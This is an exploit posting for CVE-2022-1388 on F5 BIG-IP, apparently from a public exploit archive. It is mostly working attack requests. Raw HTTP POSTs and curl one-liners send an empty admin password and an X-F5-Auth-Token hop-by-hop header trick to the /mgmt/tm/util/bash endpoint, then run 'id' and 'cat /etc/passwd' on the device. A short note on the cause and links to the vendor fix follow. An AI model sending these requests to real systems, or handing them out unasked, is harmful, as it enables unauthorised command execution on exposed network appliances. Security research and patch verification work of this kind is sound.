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F5 BIG-IP Remote Code Execution

F5 BIG-IP Remote Code Execution
Posted May 9, 2022
Authored by Alt3kx | Site github.com

F5 BIG-IP remote code execution proof of concept exploit that leverages the vulnerability identified in CVE-2022-1388.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2022-1388
SHA-256 | 2c3224e25af9797e9d7139c7d759da88b2eae07b09d164c4bf3a7423cfb95c06

F5 BIG-IP Remote Code Execution

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# F5 BIG-IP RCE exploitation (CVE-2022-1388)

POST (1):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c 'id' " }

curl commandliner:

$ curl -i -s -k -X $'POST'
-H $'Host: <redacted>:8443'
-H $'Authorization: Basic YWRtaW46'
-H $'Connection: keep-alive, X-F5-Auth-Token'
-H $'X-F5-Auth-Token: 0'
-H $'Content-Length: 52'
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a'
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080


POST (2):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }

curl commandliner:

$ curl -i -s -k -X $'POST'
-H $'Host: <redacted>:8443'
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token'
-H $'X-F5-Auth-Token: 0'
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a'
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

Note:

Issue could be related between frontend and backend authentication "Jetty" with empty credentials "admin: <empty>"
+ value of headers ,see "HTTP hop_by_hop request headers"...

References and Fixes :
* https://support.f5.com/csp/article/K23605346
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388

Here the documentation used latest nites:
* https://clouddocs.f5.com/api/icontrol-rest/

HTTP hop_by_hop request headers:
* https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open

# Author
Alex Hernandez aka @_alt3kx_
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